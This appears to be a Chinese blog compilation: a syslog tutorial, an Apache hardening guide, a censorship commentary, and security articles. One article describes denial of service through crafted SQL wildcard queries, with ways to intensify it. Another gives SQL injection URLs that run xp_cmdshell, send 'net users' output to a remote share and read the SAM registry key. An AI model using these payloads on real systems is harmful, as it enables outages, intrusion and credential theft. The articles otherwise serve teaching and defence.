syslog的初级教程

出处:Linux系统管理手册

笔记:Zauc


syslogxnix最为重要和最有特点的一个工具。它几乎可以把你想记录的日志都记录下来。系统默认的记录位置一般为/var/log/下。

但是每个发行版本默认所记录的内容各不相同,但是大体以下几个日志是肯定有的

文件

程序

出处

频率

内容

message

许多

syslog

每周

最主要的系统日志文件

dmesg

内核

硬连接

内核消息缓冲的转储

wtmp

login

硬连接

每月

登录记录(二进制)

lastlog

login

硬连接

每个用户上次登录的时间(二进制)

wtmplastlog可以通过last程序来解读这些信息。

现在开始了解一下syslogsyslog包含了3个部分:

  1. syslogd,日志守护程序(配置文件为/etc/syslogd.conf)

  2. openlog,syslogcloselog,将消息题交给syslogd的库例程

  3. logger,一条从shell提交日志记录项的用户级命令

解读syslog.conf

下面是/etc/syslog.conf的实例

# First some standard logfiles. Log by facility.

#

auth,authpriv.* /var/log/auth.log

*.*;auth,authpriv.none -/var/log/syslog

#cron.* /var/log/cron.log

daemon.* -/var/log/daemon.log

kern.* -/var/log/kern.log

lpr.* -/var/log/lpr.log

mail.* -/var/log/mail.log

user.* -/var/log/user.log

# Logging for INN news system

#

news.crit /var/log/news/news.crit

news.err /var/log/news/news.err

news.notice -/var/log/news/news.notice

下面我们有必要了解下cron, daemon这些主要代表着什么

设备(facility

使用该设备的程序

*

除了”mark”之外的所有设备

auth

与安全和授权有关的命令

authpriv

敏感/保密的授权信息

cron

守护进程cron

daemon

系统守护进程

ftp

FTP守护进程,ftpd

kern

内核

local0-7

本地消息的8种类型

lpr

打印机

mail

sendmail及其他与电子邮件相关的软件

mark

定期产生的时间戳

news

usernet新闻系统

syslog

syslogd内部消息

user

用户进程(如果没有指定就是默认值)

uucp

UUCP

syslog中定义了8种安全级别,就是上面我们看到的crit,errnotice

syslog的严重级别(降序)

级别

含义

emerg

恐慌状态

alert

紧急状态

crit

临界状态

err

其他错误情况

warning

警告信息

notice

需要调查的事项

info

提供信息的消息

debug

仅供调试

那我们如何来进行限定这个优先级呢?

syslog优先级别的限定实例

选择符

含义

Mail.info

选择与邮件相关的,优先级为info或者更高的消息

Mail.=info

只选择优先级为info的消息

Mail.info;mail.!err

只选择优先级为info,noticewarning消息

Mail.debug;mail.!=warning

选择除了warning之外所有的优先级

/var/log/auth.log 这些就是syslog的动作,我们看看到底有哪些动作

syslog的动作

动作

含义

filename

把消息写入本地机器上的一个文件里

@hostname

把消息转发给主机hostname上的syslogd

@ipaddress

把消息转发给IPipaddress的主机

|fifoname

把消息写入有名管道fifoname

User1,user2

如果用户登录到系统上,那么把消息写在用户的屏幕上

*

把消息写给目前所有已经登录的用户

从这里我们也可以看出syslog的日志文件可以进行网络存储的,我们可以把所有服务器的日志信息记录到中央日志服务器上,这样就方便于进行查看。

但是这里必须注明两点:

  1. 日志时间是已中央服务器上的时间为准

  2. 日志传输是UDP协议的,这就意味着并不是很可靠。

我们配置好/etc/syslog.conf需要对syslog服务进行重启才可。

调试syslog

现在我们看看如何调试syslog

假设我们在/etc/syslog.conf中添加了下面一行:

local5.err /tmp/local5.err

看看是否起作用

logger -p local5.err “test err message”

然后看看/tmp/local5.err中是否有”test err message”信息

在程序中使用syslog

库例程openlog,syslogclose能够让程序使用syslog系统,这些例程有cperl的版本。

如何引入库例程定义,perl中只需要在perl脚本开始处增加下面一行

user Sys::Syslog;

openlog使用以下格式来初始化日志记录:

openlog (ident, logopt, facility);

消息是按照logopt指定的选项被记录到facility中,并以标识符ident开头。

Logopt包含以下选项

选项

含义

pid

在每条日志消息上包含当前进程的PID

ndelay

立即连接到syslogd(不用得到要发消息时再连接)

cons

如果syslogd不可达,就把消息发送到系统控制台

Nowait

不用的代(wait(3))派生子进程来写控制台信息

合理的openlog调用可以是:

openlog (“adminscript”, “pid,cons”, “local4”);

syslog例程是用来发送一个消息到syslogd,将其以指定的优先级记录;

syslog (priority, messgae, ……)

来自openlog调用的日期、时间、主机名称和ident字符串都被预先加入到日志文件的消息中。message后面可跟其他参数,以形成printf风格的输出格式,包括文本和其他变量的列表,例如:

syslog (“info”, “Delivery to ‘%s’failed after %d attempts.”, $user, $nAttempts);

特殊符号%merrno的当前值(最新的错误代码)扩展为一条错误信息

像”level|facilty”的优先级字符串既设置了严重级别,也设置了设备名称,如果没有调用openlog并指定一个ident字符串,syslog例程还会检查message是否具有一条标准UNIX错误信息的形式,如:

adminscript: User “nobody” not found in /etc/passwd file

如果符合这个格式,冒号之前的那一部分就被秘密的采用为ident字符串,这些特性使得调用openlog并不是必不可少;但调用openlog仍然是个不错的想法,在一些地方(调用openlog)指定设备名称,整个代码中不断重复设备名称要好。

Closelog例程关闭日志记录通道:

closelog ();

如果想以不同的选项重新打开日志记录通道,那必须调用这个例程。在程序退出时调用closelog是一个很好的形式,但并不是必不可少的。

下面是在perl中的完成例子:

use Sys::Syslog

openlog(“adminscript”, “cons,pid”, “user”);

syslog(“waring”, “Those whom the gods would destroy, they first teach Basic”);

closelog();

产生的日志记录([191]为进程号):

Dec 2822:56:24 moet.colorado.edu adminscript[191]: Thos whom the gods would destroy, the firtst teach Basic.

Advertisements

DOS ATTACKS USING SQL WILDCARDS(SQL通配符拒绝服务攻击)

DOS ATTACKS USING SQL WILDCARDS(SQL通配符拒绝服务攻击)
原作者:Ferruh Mavituna
1 什么样的应用容易被SQL通配符攻击
(1)拥有SQL后台
(2)数据库拥有300条以上的数据,同时每行数据超过500个字节
(3)有一个应用程序级别的搜索功能

2 搜索查询
SQL服务器支持下列通配符在LIKE查询中”%”,”[]”,”^”和”_”
如果你在搜索框里输入”foo”, SQL查询的结果应该是
SELECT * FROM Aricle WHERE Content LIKE ‘%foo%’
上面这个查询通常在拥有100000条数据的数据库中查询时间将少于1秒。

下面这个查询在只有2600条记录的情况下花费了6秒
SELECT TOP 10 * FROM Article
WHERE Content LIKE
‘%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R”_)][%](%[x])%a][$*”£$-9]_%’
如果攻击者在这6秒中内又执行一个如下查询
SELECT TOP 10 * FROM Article
WHERE Content LIKE
‘%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R”_)][%](%[x])%a][$*”£$-9]_%’
OR Content LIKE
‘%_[X_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R”_)][%](%[x])%a][$*”£$-9]_%’
OR Content LIKE
‘%_[()_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R”_)][%](%[x])%a][$*”£$-9]_%’
那CPU在100%的负载的情况下将要执行36秒。

3 SQL通配符拒绝服务攻击测试
测试过程相当简单,就是创建包含很多通配符的查询让系统不能返回一个正常值。

4 连接池
攻击查询的时间依赖于应用程序连接池的设定。
ASP.NET的默认设置是,最大连接数量是100,30秒超时。如果我们进行100多个都超过30秒的查询,那其他人就根本无法正常使用这个系统了。
连接池耗尽攻击将会消耗一部分的CPU资源,在数据库服务器上进行常时间的运行对他们来说是足够的了。另外一个理由是长时间查询时可能包括了有问题系统调用代码,相当的NDS查询和HTTP请求。

5 构建搜索关键字
构建搜索关键字需要注意以下几点:
(1)首先要确定数据库是否能搜索所有数据
(2)每个OR语句需要有所不同,否则数据库会自动优化这些语句。至少每个语句之间要修改一个字符
(3)对于Microsoft SQL Server,我的经验是在每个字符后加入“[”将导致更长的执行时间。
LIKE ‘%_[a[! -z]@$!_%                                                                             – 1050 ms.
LIKE ‘%_[aaaaaaaaa[! -z]@$!_%’                                                                – 1600 ms.
LIKE ‘%_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%’         – 3700 ms.
(4)更长的查询将导致更长的执行时间。所以我们要构建应用程序允许范围内足够长的查询。
(5)开始和结尾加上“%”也会导致更长时间的查询
(6)每次查询需要有所不同,不然有些应用是有查询缓存存在的。
(7)对于不同大的目标系统和数据需要组合不同的查询。

6 真实影响
对于含有搜索功能的系统的后台数据库都有影响。
这里我们将使用2个论坛系统作为范例。一个是基于ASP.NET+SQL Sever,另外一个是ASP+SQL Sever
(1)在2000条记录的情况下就导致了数据库连接超时,查询时间超过30秒
(2)范例系统在带宽1.5M的情况下在2分钟内停止运行
这里我并不是说只有论坛系统有问题,其他任何WEB应用系统都有这样的问题。

7 其他DBMSs
这个文章里并没有说到其它数据库,但是其实其他数据库对于这种攻击同样是非常脆弱的,只是SQL Sever是LIKE通配符查询攻击的主要数据库
以下的搜索操作对于这个问题同样是脆弱的:
(1) PostgreSQL 正则表达式匹配 (~)
(2)SQL Sever全文查询(CONTAINS)
(3)MS Access LIKE查询 (LIKE)
(4)MySQL 增则表达式 (REGEXP)

8 增加攻击的效果
如果应用程序允许你选择字段查询:
(1) 通过OR来搜索它们,然后选择所有字段
(2)如果它是使用AND操作来搜索的,那就选择最大的字段,而不要选择一个varchar类型,也不要使用使用空格来避免许多AND条件。
尽可能的选择OR条件来进行查询。
让应用程序尽可能的使用连接表,组合多个表进行查询
通过OR来联合多个表达式,使用空格在多个关键字中间。例如: _[r/a)_%_fm_ _(r/b)_ _(r-d)_

9 DDOS(分布式拒绝服务攻击)攻击
如果一个应用程序接受通过GET请求的搜索查询,那攻击者就可以使用“WEB SPAMMING TOOL”来自动注册论坛,发送带有攻击代码相关信息和BLOG回复或者发送带有搜索URL的图片。通过这些方式攻击者就可以用其他网站访问者对目标应用进行攻击。
攻击者可以执行XSS攻击通过一些公共的web网站,然后发送”ifram”或者”image”标记来攻击应用。

10 应用程序级别的DOS
我们前面的攻击只是对于数据库服务器产生影响,而对于应用程序本身是没有影响的。
我们需要让应用程序返回尽可能多的记录。这可以让应用程序依赖应用程序的算法和SQL查询进行处理。假设应用程序要返回10W条数据由于有问题的SQL查询分页,这将导致CPU消耗大量的资源在应用程序和数据库层上。
在现实中,我们经常可以发送“-1”等不存在的请求分页。
如:http://www.codeplex.com/subsonic/WorkItem/View.aspx?WorkItemId=16112
分页问题不光在搜索页面存在,同样也存在于当查询条件不存在的时候分页。

11 SQL注入和DOS攻击
如果一个应用对于SQL注入没有防范的话SQL注入是相当平常的,我们在没有SQL注入的情况下也可以进行DOS攻击。不同的DBMS支持不同的复杂应用上无限循环。
一些DBMS同样支持一些特别的功能如MySQL的BENCHMARK就允许重复的执行一个功能。
根据攻击者的权限,攻击者可以很轻易的DROP掉数据库中所有表。甚至还可以关闭系统和数据库服务器。

12 防范
对于需要过滤的通配符在程序上需要返回。程序上要限制一些通配符的使用
限制搜索:最好不要有高级搜索功能,没有高级搜索功能就过滤所有的通配符。
使用验证码
限制每个用户的CPU使用时间
白名单:只有哪些字符能够使用
验证码安全
限制SQL查询执行的时间
防止应用程序级别的DOS:在查询时使用LIMIT或者TOP类似的关键字能够保护应用程序不被DOS攻击。

Microsoft SQL Server几个危险的存储过程

MS SQL server默认安装了超过1000多存储过程。下面3个存储过程是通常容易被利用
xp_cmdshell
sp_makeWebtask
xp_regread

xp_cmdshell。任何DOS命令都可以通过xp_cmdshell发布,包括目录列表,windows的net view和net use命令,出站的TFTP文件传输等。xp_cmdshell过程的事务物理SQL语句如下
EXEC master..xp_cmdshell “<command>”
如果有一个用于查询后台MS SQL服务器的ASP脚本,那就可以添加单引号,并采用如下方式调用xp_cmdshell存储过程:
/find.asp?MenuID=1988′;EXEC%20master..xp_cmdshell’ping.exe%20202.96.209.5
%20为16进制空格,我发送了一个ping 202.96.209.5的命令。

sp_makewebtask。使用sp_makwebtask过程,可以读取SQL SELECT命令所得到的结果到表格形式的HTML文件中。它的语法如下:
EXEC master..sp_makeWebtask “\<IP address><shared folder>out.html”,”<query>”
上面那个IP和共享文件夹需要有可写权限。
/find.asp?MenuID=1988′;EXEC%20master..sp_makewebtask”\202.96.209.5pubmenu.html”, “EXEC%20master_xp_cmdshell%20’net%20users'”
如果%20不能使用尝试使用+号来代替。

xp_regread。xp_regread过程允许从数据库服务器中读取注册表值以获取一些软件的加密的口令字符串,比如windows SAM数据库(如果没有用SYSKEY加密),我们可以执行如下语句
EXEC xp_regread HKLM, ‘SECURITYSAMDomainsAccount’, ‘c:tempout.txt’
当然我们还可以配合前面2个存储过程来使用这个
/find.asp?MenuID=1988′;EXEC%20xp_regread ‘HKLM’, ‘SECURITYSAMDomainsAccount’,’c:tempout.txt’

如何删除就自己GOOGLE下吧

apache安全优化

作者:timo

联系方式: greycd ## gmail dot com

如何使web服务器安全(apache)

web服务器(apache)

一个像apache这样的web服务器,它最主要的功能是能让HTML页面在客户端浏览器上显现。

功能

web服务器需要能接入互联网,只需要对静态HTML页面提供支持

服务器能支持基于名字的虚拟主机

一些页面只能某些特殊的IP和用户才能访问(基本的认证)

服务器需要记录web请求的日志(包括浏览器的信息)

web服务器必须对PHP/Perl脚本语言支持

PHP/Perl组件必须能在本地MySQL数据库中读写用户信息

安全设想

1.

操作系统越坚固越好,包括低于本地和远程攻击
2.

服务器除了HTTP,最好不要提供其他任何网络服务
3.

远程访问服务器必须通过防火墙,关闭所有出去的连接,和只放过HTTP访问连接。
4.

在系统上必须只有一个有效的Apache服务
5.

只有完全必须的apache模块才被装载
6.

任何诊断web页面和自动目录索引服务必须被关闭
7.

服务器只能透露最少的关于自身的信息
8.

apache服务必须运行在一个单独的UID/GID下,不能使用其它任何的系统进程
9.

apache服务进程被续被限制访问文件系统(chrooting)
10.

不能有shell程序能在apache的chrooted环境中出现
11.

PHP配置必须内建的安全机制
12.

PHP脚本只能在chrooted环境中执行
13.

apache服务器必须拒绝所有请求(GET和POST),含有HTML标记(跨站攻击)或者“’”和”””(可能有SQL注入攻击)
14.

不能有PHP警告和错误信息显示给正式访问的用户
15.

记录进站的GET和PORT请求到一个日志文件。

操作系统

UNIX或者类UNIX例如Linux,FreeBSD等等对于Apache最合适,微软的windows只能提供非常有限的安全能力,对于apache并不合适

先决条件

1.

如果你需要apache和ssl安全认证支持,那OpenSSL就需要先被安装
2.

如何需要apache和postgresql数据库连接支持,那先要安装postgresql或者需要mysql数据库支持那就安装mysql
3.

如果需要LDAP目录支持那还要安装OpenLDAP
4.

如果需要IMAP和POP能力,那还要装IMAP和POP

软件准备

1.

UNIX兼容的命令
2.

含有/var/tmp目录
3.

RedHat Linux
4.

所有步骤使用root帐户
5.

apache版本为1.3
6.

Mod_SSL
7.

Mod_Perl
8.

Mod_PHP

Apache : http://www.apache.org/

Mod_Perl : http://perl.apache.org/

Mod_SSL : http://www.modssl.org/

Mod_PHP : http://www.php.net/

没有的话就去上述网站下载

安装步骤一

把所有tar包放在同一目录中


[root@localhost]/# cp apache_version.tar.gz /var/tmp

[root@localhost]/# cp mod_ssl-version-version.tar.gz /var/tmp

[root@localhost]/# cp mod_perl-version.tar.gz /var/tmp

[root@localhost]/# cp php-version.tar.gz /var/tmp

[root@localhost]/# cd /var/tmp/

解压包

[root@localhost]/tmp# tar xzpf apache_version.tar.gz

[root@localhost]/tmp# tar xzpf mod_ssl-version-version.tar.gz

[root@localhost]/tmp# tar xzpf mod_perl-version.tar.gz

[root@localhost]/tmp# tar xzpf php-version.tar.gz

Mod_SSL

[root@localhost]/# cd mod_ssl-version-version

[root@localhost]/# CC="egcs" CFLAGS="-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions" ./configure --with-apache=../apache_1.3.37 --with-crt=/etc/ssl/certs/server.crt --with-key=/etc/ssl/private/server.key

*CC – C 编译器

**egcs – 增强GNU边一起

***CFLAGS – O2 (i386), O3 (i586), O9 (i686) 优化选项

PHP 4

[root@localhost]# cd apache_1.3.37

Configure

[root@localhost]# CC="egcs" OPTIM="-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions" CFLAGS="-DDYNAMIC_MODULE_LIMIT=0"
./configure

--prefix=/home/httpd

--bindir=/usr/bin

--sbindir=/usr/sbin

--libexecdir=/usr/lib/apache

--includedir=/usr/include/apache

--sysconfdir=/etc/httpd/conf

--localstatedir=/var

--runtimedir=/var/run

--logfiledir=/var/log/httpd

--datadir=/home/httpd

--proxycachedir=/var/cache/httpd

--mandir=/usr/man

--proxycachedir=/var/cache/httpd

--mandir=/usr/man

[root@deep ]/php-4.0# make && make install

Mod_PERL

[root@localhost] cd ../mod_perl-version.version/

[root@localhost] perl Makefile.PL EVERYTHING=1 APACHE_SRC=../apache_1.3.37/src USE_APACI=1 PREP_HTTPD=1 DO_HTTPD=1

[root@localhost]/mod_perl-version.version# make && make install

Apache

1. [root@localhost]/apache1.3.37# SSL_BASE=SYSTEM EAPI_MM=SYSTEM CC="egcs" OPTIM="-O9 -funroll-loops -ffast-math -malign-double -mcpu=pentiumpro -march=pentiumpro -fomit-frame-pointer -fno-exceptions" CFLAGS="- DDYNAMIC_MODULE_LIMIT=0"

./configure

--prefix=/home/httpd

--bindir=/usr/bin

--sbindir=/usr/sbin

--libexecdir=/usr/lib/apache

--includedir=/usr/include/apache

--sysconfdir=/etc/httpd/conf

--localstatedir=/var

--runtimedir=/var/run

--logfiledir=/var/log/httpd

--datadir=/home/httpd

--proxycachedir=/var/cache/httpd

--mandir=/usr/man

--add-module=src/modules/experimental/mod_mmap_static.c

--add-module=src/modules/standard/mod_auth_db.c

--enable-module=ssl

--enable-rule=SSL_SDBM

--disable-rule=SSL_COMPAT

--activate-module=src/modules/php4/libphp4.a

--enable-module=php4

--activate-module=src/modules/perl/libperl.a

--enable-module=perl

--disable-module=status

--disable-module=userdir

--disable-module=negotiation

--disable-module=autoindex

--disable-module=asis

--disable-module=imap

--disable-module=env

--disable-module=actions

[root@localhost]/apache1.3.37# make && make install

安装步骤二

Chroot Jail

chroot一个能让你改变一个系统的root权限到另外一个地方,所以从入侵者来说是一个事实的root系统将很安全。
优点

1.

apache默认是运行于一个非root帐户,作为一个拥有本地shell的普通帐户将限制一些危险的操作。
2.

主要的好处是,jail作为文件的一部分,后台程序在这个jail中将视作为根目录
3.

jail只需要支持apache,在jail中程序的有效性将被极大的限制。
4.

不再需要setuid-root程序。
5.

如果apache被侵害,攻击者将不能访问真实的文件系统
6.

允许访问你服务器的CGI脚本将不能执行
7.

有一些扩展的库你需要在chroot jail中为了使apache能够执行
8.

如果你使用任何Perl/CGI特性在apache中,你需要拷贝必须的二进制文件,Perl库和在chroot环境中适当的文件。如一些支持SSL,PHP,LDAP,PostgreSQL以及其他的第三方程序。

寻找依赖

[root@localhost]/# ldd /usr/sbin/httpd

libpam.so.0 =>/lib/libpam.so.0 (0x40016000)

libm.so.6 =>/lib/libm.so.6 (0x4001f000)

libdl.so.2 =>/lib/libdl.so.2 (0x4003b000)

libcrypt.so.1 =>/lib/libcrypt.so.1 (0x4003e000)

libnsl.so.1 =>/lib/libnsl.so.1 (0x4006b000)

libresolv.so.2 =>/lib/libresolv.so.2 (0x40081000)

libdb.so.3 =>/lib/libdb.so.3 (0x40090000)

libc.so.6 =>/lib/libc.so.6 (0x400cb000)

/lib/ld-linux.so.2 =>/lib/ld-linux.so.2 (0x40000000)

创建目录结构 (像依赖的一样)

[root@localhost ]/# mkdir /chroot/httpd

[root@localhost ]/# mkdir /chroot/httpd/dev

[root@localhost ]/# mkdir /chroot/httpd/lib

[root@localhost ]/# mkdir /chroot/httpd/etc

[root@localhost ]/# mkdir -p /chroot/httpd/usr/sbin

[root@localhost ]/# mkdir -p /chroot/httpd/var/run

[root@localhost ]/# mkdir -p /chroot/httpd/var/log/httpd

[root@localhost ]/# chmod 750

/chroot/httpd/var/log/httpd/

[root@localhost ]/# mkdir -p /chroot/httpd/home/httpd

拷贝所有发现的依赖文件(包括相应权限)到所创建的目录中

[root@localhost ]/# cp -r /etc/ssl /chroot/httpd/etc/ 如果你需要mod_ssl所必须的

[root@localhost ]/# chmod 600 /chroot/httpd/etc/ssl/certs/ca.crt 如果你需要mod_ssl所必须的

[root@localhost ]/# chmod 600 /chroot/httpd//etc/ssl/certs/server.crt 如果你需要mod_ssl所必须的

[root@localhost ]/# chmod 600 /chroot/httpd/etc/ssl/private/ca.key 如果你需要mod_ssl所必须的

[root@localhost ]/# chmod 600 /chroot/httpd/etc/ssl/private/server.key 如果你需要mod_ssl所必须的

使用.dbmpasswd密码文件进行用户认证

改变dbmmanage程序的权限,使用以下命令

[root@localhost ]/# chmod 750 /usr/bin/dbmmanage

创建一个用户名和密码使用以下命令

[root@deep ]/# /usr/bin/dbmmanage /etc/httpd/.dbmpasswd adduser username

New password:

Re-type new password:

User username added with password encrypted to l4jrdAL9MH0K.

拷贝/etc/passwd /etc/group文件到/chroot/httpd/etc下,同时移出所有帐户和组出了apache运行所依赖的

[root@localhost ]/# cp /etc/passwd /chroot/httpd/etc/

[root@localhost ]/# cp /etc/group /chroot/httpd/etc/

编辑passwd文件

vi /chroot/httpd/etc/passwd

www:x:80:80::/home/www:/bin/bash

编辑passwd文件

vi /chroot/httpd/etc/group

www:x:80:

你还需要/etc/resolv.conf文件和/etc/nsswitch.conf以及/etc/hosts文件在你的chroot jail中相同的目录结构来解析主机名。

第三步 安全的CGI应用程序

配置PHP

增加以下行到httpd.conf中

AddModule mod_php4.c

AddType application/x-httpd-php .php

AddType application/x-httpd-php .inc

AddType application/x-httpd-php .class

修改PHP配置文件(/chroot/httpd/usr/local/lib/php.ini)

Parameter Description

safe_mode = On

safe_mode_gid = Off

open_basedir = directory[:...] (只有这个目录脚本文件才能使用)

safe_mode_exec_dir = directory[:...] (apache拒绝执行程序目录)

expose_php = Off (不要显示php info)

register_globals = Off

display_errors = Off

log_errors = On

error_log = filename

修改文件扩展名

把所有*.php文件改为*.dhtml(举例),所以需要修改/chroot/httpd/usr/local/apache/conf/httpd.conf文件增加以下

AddType application/x-httpd-php .php

AddType application/x-httpd-php .dhtml

web用户将看不到*.php扩展名在url地址中,实际已经PHP技术已经被使用在服务器上。

The last step – Defending against CSS and SQL Injection attacks

In order to perform that, we will use the mod_security module, which we enable by

adding the following line into httpd.conf:

AddModule mod_security.c

To enable logging of the GET and POST requests, it suffices to add the following section

to httpd.conf:

AddHandler application/x-httpd-php .php

SecAuditEngine On

SecAuditLog logs/audit_log

SecFilterScanPOST On

SecFilterEngine On

最后一步--防御拒绝CSS和SQL注入攻击

为了实现这个功能,我们将使用mod_security模块,所以我们需要加入下面这行在httpd.conf中

AddModule mod_security.c

为了实现记录GET和POST请求,需要在httpd.conf增加下面这段

AddHandler application/x-httpd-php .php

SecAuditEngine On

SecAuditLog logs/audit_log

SecFilterScanPOST On

SecFilterEngine On

超出的命令需要audit引擎来记录,如登录请求;以及过滤POST引擎,它能记录POST请求到日志中。为了防止web应用程序被CSS攻击,以下这几行也要被加入到之前

SecFilterDefaultAction "deny,log,status:500"

SecFilter "“

第一行是用来当请求包含任何安全过滤变量的搜索断语将返回“服务器内部错误”

第二行在搜索HTML标记的GET和POST请求中建立过滤

一个标准的SQL注入攻击是在GET和POST请求中包含”‘”(单引号)和”””(双引号)。为了句句所有包含这些字符的请求,我们标记SQL注入技术非常困难。

SecFilter “‘”

SecFilter “””

尽管过滤像<,>,’,”这些字符让我们防护拒绝CSS和SQL注入攻击,它将导致PHP应用程序中不正确的函数。它的发生,是由于合法的用户将不能使用这些字符在HTML表单中。为了解决这个问题,JavaScript语言使得在客户端执行用来代替这些被禁止的特殊标记像< > ” 等等

小结

要在使用服务器段技术(PHP,ASP,JSP等)的服务器安全是非常困难的在实际中

理由如下:

1.

服务器自己不能反对糟糕的编程。
2.

服务器段技术(PHP,ASP,JSP)的弱点也能制造web服务器攻击倾向。
3.

为了web服务器更安全,打上所有的安全补丁和移出不必要的文件是必须的。
4.

我们不能忘记整个环境的安全不仅依赖apache和php的配置,更依赖于web应用程序的自身。
5.

程序员需要分析代码和程序在被实施到正式服务器之前。
6.

日志的合理监控和CGI行为必须在没有攻击的情况下长久运行在服务器上

花刺子模信使的问题

王小波有篇文章叫《花刺子模信使问题》,里面讲了一个故事。说古代花刺子模国的国王有一个特别的习俗,凡是给君王带来好消息的信使,就会获得晋升; 凡是给君王带来坏消息的信使,就会被送去喂老虎。花刺子模国到底有没有这个习俗不重要,关键是这个君王天真的认为只要把带来坏消息的信使杀了就只会剩下好 消息了。

而我们的监管部门似乎跟这个君王没什么区别,他们也同样天真的认为,只要把反对的声音压制住了,那就天下太平了。这无论是从物理学还是心理学上都是说不通的,历史证明压制和专制只能换来更大的反抗。

今年中国发生的大事还是非常多的,国家领导人的改选,西藏事件,家乐福事件等等。

而我国对于网络的监控和封锁已经是无所不用其及。无论是技术上的如GFW,还是行政命令上的如家乐福。

关于家乐福我想很多人都已经反应了,在谷歌和百度上搜索已经无法得到结果了。

这里我们可以看看其他方面的监控。下面2个截图是刚刚对于sina和sohu上的2个截图

在图中的选择部分大家都看到了什么呢?

上面我们能看到明明有10W多的留言,但是实际显示却是1W多条,而留下的留言全都是正面的消息。

为什么会这样呢?我想sohu和sina也并不想这样的,因为这样做只会增加他们的工作量,这当然是背后中国电信命令的,中国电信的BOSS不想成为那个带来坏消息的信使,一旦那样的话他可是做不上那个位置了。

cronolog问题解决了

cronolog的进程在apache1.3下无法释放的问题给解决了

http://cronolog.org/mailing-list/msg00134.html

Example:
ErrorLog “|exec /usr/local/cronolog/sbin/cronolog
/var/log/apache/hostname_error.%Y%m%d”

本来一直想这个是不是算是bug呢? 现在看来是给解决了,但是不是我解决的,是头给解决的。这个算是从根本上把问题给解决了。

而我本来还在写那个自动杀进程的脚本。把最早的cronolog进程列出来,然后每天杀一次,可这个总归不是解决问题的根本,现在算是从根本上把问题给解决了。

我心里就一直认为这个是bug,暂时是无法解决的,看来自己看待事物需要改变的东西还很多。